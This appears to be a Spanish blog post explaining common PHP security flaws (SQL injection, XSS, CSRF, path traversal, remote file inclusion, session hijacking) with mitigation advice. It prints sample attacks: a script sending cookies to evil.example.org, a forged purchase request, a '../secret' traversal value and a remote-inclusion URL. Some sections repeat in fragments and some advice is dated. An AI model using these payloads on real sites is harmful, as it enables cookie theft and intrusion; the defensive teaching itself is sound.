Escribir aplicaciones PHP no es extremadamente difícil. Pero muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones.A veces no se piensa en el daño que puede sufrir un sitio web hasta que ya es demasiado tarde.
Se debe empezar a diseñar con cabeza y no ser meros robots codificando. Veamos un poco más a fondo las posibles amenazas y recomendaciones para hacer que nuestro sitio web sea un poco más seguro.
Inyección SQL
Este ataque se produce cuando un atacante ejecuta sentencias SQL en la base de datos del sitio web, insertando en un campo del formulario sentencias SQL dentro de otra sentencia SQL haciendo que se ejecute la sentencia invasora.
- Filtrar los datos. Por ejemplo, si tenemos en nuestro formulario el campo username, y sabemos que los usuarios sólo pueden estar compuestos por letras y números, no se deben permitir caracteres como " ' " o " = " . O si se trata del campo e-mail, podemos utilizar expresiones regulares para validarlo, como
preg_match('/^.+@.+\..{2,3}$/',$_POST['email']) - Usar funciones que escapan caracteres especiales de una cadena para su uso en una sentencia SQL, como mysql_real_escape_string(), la cual coloca barras invertidas antes de los siguientes caracteres: \x00, \n, \r, \, ', " y \x1a. O addslashes(), (la directiva de PHP magic_quotes_gpc está activada por defecto, y básicamente ejecuta la función addslashes() en todos los datos GET, POST, y COOKIE. No se debe utilizar addslashes() en las cadenas que ya se han escapado con magic_quotes_gpc ya que se hará un doble escape).
XSS (Cross Site Scripting)
Las vulnerabilidades de XSS permiten ejecutar código de scripting en el contexto del sitio web:
- Explotando la confianza que tiene un usuario de un sitio web. Puede que los usuarios no tengan un alto nivel de confianza en un sitio web, pero sí el navegador. Por ejemplo, cuando el navegador envía cookies en una petición.
- Haciendo que los sitios web muestren datos externos. Como aplicaciones de mayor riesgo que incluyen foros, clientes de correo web, o contenido de RSS.
- Cuando los datos externos no se filtran adecuadamente un atacante puede inyectar un contenido. Esto es tan peligroso como dejar que el atacante edite código en el servidor.
Un usuario que ejecute este código con JavaScript activado en su navegador será redireccionado a evil.example.org, y las cookies asociadas al sitio web serán incluidas en la consulta:
<script>document.location =
'http://evil.example.org/steal_cookies.php?cookies=' +
document.cookie</script>
Se recomienda:
- Filtrar todos los datos externos. El filtrado de datos es la práctica más importante que se puede adoptar. Al validar todos los datos externos a medida que entran y salen de la aplicación se mitigarán la mayoría de las preocupaciones del XSS.
- Utilizar las funciones que tiene PHP que ayudan al filtrado. Pueden ser útiles htmlentities () que convierte caracteres a entidades HTML, strip_tags () que elimina las etiquetas HTML y PHP de una cadena y utf8_decode ().
- Basarse en listas blancas. Supongamos que los datos no son válidos hasta que no se pruebe que lo son. Esto implica verificar la longitud y asegurar que sólo los caracteres válidos son permitidos. Por ejemplo, si se inserta el nombre y apellidos, se debe asegurar que sólo se permiten letras y espacios. Por ejemplo Berners-Lee se consideraría nula, pero esto se puede arreglar añadiendo este nombre a la lista blanca. Es mejor rechazar datos válidos que aceptar datos maliciosos.
- Utilizar una convención de nomenclatura estricta. Una convención de nomenclatura puede ayudar a los desarrolladores a distinguir entre datos filtrados y sin filtrar.
CSRF (Cross Site Request Forgery)
Explota la confianza que tiene un sitio web en la identidad de un usuario.
Un ejemplo sería enviar los siguientes datos en la petición:
Un ejemplo sería enviar los siguientes datos en la petición:
GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234- Utilizar POST en lugar de GET en los formularios. Sobre todo cuando se esté realizando una acción que involucra una compra.
- Utilizar $_POST en lugar de confiar en register_globals. Utilizar el método POST es inútil si se confía en register_globals y se referencian variables como $symbol o $quantity. Lo mismo sucede si se utiliza $_REQUEST.
- Generar un token único para cada petición y verificarlo posteriormente.
Este ataque se produce cuando se especifican rutas de ficheros como "../../../../file" en los datos del formulario y mediante un script se llama a estos ficheros. Proporcionando a un atacante la posibilidad de realizar cambios en el sistema de ficheros.
Si dentro del script de PHP se incluye:
Se recomienda:
RFI (Remote File Inclusion)
Como su nombre indica, se produce cuando se incluye un archivo remoto.
Por ejemplo, si existe un archivo en la ruta
O por ejemplo, asignar a page el valor
Se recomienda:
Seguridad en sesiones
Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios. Cuando se almacena una cookie en el ordenador esta puede ser modificada por el usuario.
Se recomienda:
Si dentro del script de PHP se incluye:
require $page . '.php'; Sabiendo que esta página se almacena en /home/someone/public_html/index.php, un atacante podría hacer index.php?page=../secret accediendo a /home/someone/secret.phpSe recomienda:
- Tener un array de páginas válidas.
- Comprobar que el archivo solicitado coincide con un formato concreto.
RFI (Remote File Inclusion)
Como su nombre indica, se produce cuando se incluye un archivo remoto.
Por ejemplo, si existe un archivo en la ruta
http://example.com/malice.php y nuestro script se encuentra en http://site.com/index.php. Un atacante puede hacer esta petición: http://site.com/index.php?page=http://example.com/malice lo que provocará que el archivo se ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que permita la ejecución de comandos.O por ejemplo, asignar a page el valor
http://example.com/malice.php? seguido de una consulta a base de datos.Se recomienda:
- No confiar en los datos que no provengan de nuestro sistema.
- Se deben validar los datos que introduce el usuario.
Seguridad en sesiones
Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios. Cuando se almacena una cookie en el ordenador esta puede ser modificada por el usuario.
Se recomienda:
- Cambiar el identificador de la sesión a menudo. Utilizando la función session_regenerate_id() se reduce la posibilidad de que el identificador sea interceptado.
- Usando versiones PHP5.2 o posteriores se puede denegar al Javascript del navegador el acceso a la cookie activando el flag httponly.
[+] PHP Security Consortium
[+] PHP Freaks
[+] PHP Security & SQL Security. Acunetix
Fuente: http://www.securitybydefault.com/
Ingeniero, me gusta la cyberseguridad, la programación y el blockchain.
Increible, gracias por esta aclaracion
ResponderEliminar